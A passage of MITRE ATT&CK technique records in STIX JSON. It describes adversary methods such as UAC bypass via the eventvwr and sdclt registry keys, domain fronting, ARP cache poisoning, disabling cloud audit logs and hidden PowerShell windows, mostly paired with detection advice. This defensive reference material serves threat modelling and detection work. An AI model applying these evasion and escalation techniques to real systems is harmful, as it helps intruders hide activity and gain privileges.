executed.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[".NET Framework version 4 or higher"],"type":"attack-pattern","id":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","created":"2020-03-27T21:50:26.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1127/001","external_id":"T1127.001"},{"source_name":"LOLBAS Msbuild","description":"LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Msbuild/"},{"source_name":"Microsoft MSBuild Inline Tasks 2017","description":"Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.","url":"https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element"},{"source_name":"MSDN MSBuild","description":"Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.","url":"https://msdn.microsoft.com/library/dd393574.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:59:06.382Z","name":"Impersonation","description":"Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.   \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Pawel Partyka, Microsoft Threat Intelligence","Blake Strom, Microsoft Threat Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Office Suite"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","created":"2023-08-08T15:42:18.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1656","external_id":"T1656"},{"source_name":"CrowdStrike-BEC","description":"Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.","url":"https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/"},{"source_name":"VEC","description":"CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.","url":"https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T14:15:26.322Z","name":"Modify Cloud Compute Configurations","description":"Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Blake Strom, Microsoft Threat Intelligence","Amir Gharib, Microsoft Threat Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Cloud Service: Cloud Service Modification"],"type":"attack-pattern","id":"attack-pattern--ca00366b-83a1-4c7b-a0ce-8ff950a7c87f","created":"2023-09-05T14:19:17.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1578/005","external_id":"T1578.005"},{"source_name":"Microsoft Cryptojacking 2023","description":"Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"},{"source_name":"Microsoft Azure Policy","description":"Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.","url":"https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be","type":"attack-pattern","created":"2017-05-31T21:31:07.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1088","url":"https://attack.mitre.org/techniques/T1088"},{"url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works","description":"Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.","source_name":"TechNet How UAC Works"},{"url":"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx","description":"Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.","source_name":"TechNet Inside UAC"},{"url":"https://msdn.microsoft.com/en-us/library/ms679687.aspx","description":"Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.","source_name":"MSDN COM Elevation"},{"url":"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html","description":"Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.","source_name":"Davidson Windows"},{"url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","source_name":"Github UACMe"},{"url":"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/","description":"Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.","source_name":"enigma0x3 Fileless UAC Bypass"},{"url":"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware","description":"Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.","source_name":"Fortinet Fareit"},{"url":"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass","description":"Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.","source_name":"SANS UAC Bypass"},{"url":"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/","description":"Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.","source_name":"enigma0x3 sdclt app paths"},{"url":"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/","description":"Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.","source_name":"enigma0x3 sdclt bypass"}],"modified":"2020-02-05T20:08:32.863Z","name":"Bypass User Account Control","description":"Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Windows User Account Control"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b","type":"attack-pattern","created":"2019-04-09T16:09:22.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1494","url":"https://attack.mitre.org/techniques/T1494"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:30:49.400Z","name":"Runtime Data Manipulation","description":"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:52.356Z","name":"Domain Fronting","description":"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Matt Kelly, @breakersall"],"x_mitre_detection":"If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","created":"2020-03-14T23:29:19.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1090/004","external_id":"T1090.004"},{"source_name":"Fifield Blocking Resistent Communication through domain fronting 2015","description":"David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.","url":"http://www.icir.org/vern/papers/meek-PETS-2015.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sternstein, Stern Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","created":"2020-10-15T12:05:58.755Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1557.002","url":"https://attack.mitre.org/techniques/T1557/002"},{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."},{"source_name":"RFC826 ARP","url":"https://tools.ietf.org/html/rfc826","description":"Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."},{"source_name":"Sans ARP Spoofing Aug 2003","url":"https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411","description":"Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n","modified":"2022-07-22T18:37:22.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"ARP Cache Poisoning","x_mitre_detection":"Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Disable or Modify Cloud Logs","description":"An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee","Ibrahim Ali Khan","Alex Soler, AttackIQ","Janantha Marasinghe","Matt Snyder, VMware","Joe Gumke, U.S. Bank","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"2.1","x_mitre_data_sources":["Cloud Service: Cloud Service Modification","User Account: User Account Modification","Cloud Service: Cloud Service Disable"],"type":"attack-pattern","id":"attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d","created":"2020-10-12T13:52:32.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/008","external_id":"T1562.008"},{"source_name":"Stopping CloudTrail from Sending Events to CloudWatch Logs","description":"Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"},{"source_name":"AWS Update Trail","description":"AWS. (n.d.). update-trail. Retrieved August 4, 2023.","url":"https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"},{"source_name":"Following the CloudTrail: Generating strong AWS security signals with Sumo Logic","description":"Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.","url":"https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"},{"source_name":"Configuring Data Access audit logs","description":"Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.","url":"https://cloud.google.com/logging/docs/audit/configure-data-access"},{"source_name":"Dark Reading Microsoft 365 Attacks 2021","description":"Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.","url":"https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"},{"source_name":"az monitor diagnostic-settings","description":"Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.","url":"https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"},{"source_name":"Pacu Detection Disruption Module","description":"Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.","url":"https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-04-16T00:15:53.303Z","name":"Security Software Discovery","description":"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Isif Ibrahima, Mandiant"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.5","x_mitre_data_sources":["Process: Process Creation","Firewall: Firewall Metadata","Command: Command Execution","Process: OS API Execution","Firewall: Firewall Enumeration"],"type":"attack-pattern","id":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","created":"2020-02-21T21:16:18.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1518/001","external_id":"T1518.001"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-13T14:28:20.651Z","name":"Hidden Window","description":"Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019)\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Travis Smith, Tripwire","Mark Tsipershtein"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["File: File Modification","Command: Command Execution","Process: Process Creation","Script: Script Execution"],"type":"attack-pattern","id":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","created":"2020-03-13T20:26:49.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1564/003","external_id":"T1564.003"},{"source_name":"Hidden VNC","description":"Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.","url":"https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"},{"source_name":"Anatomy of an hVNC Attack","description":"Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.","url":"https://securityintelligence.com/anatomy-of-an-hvnc-attack/"},{"source_name":"Antiquated Mac Malware","description":"Thomas Reed. (2017, January 18). New Mac 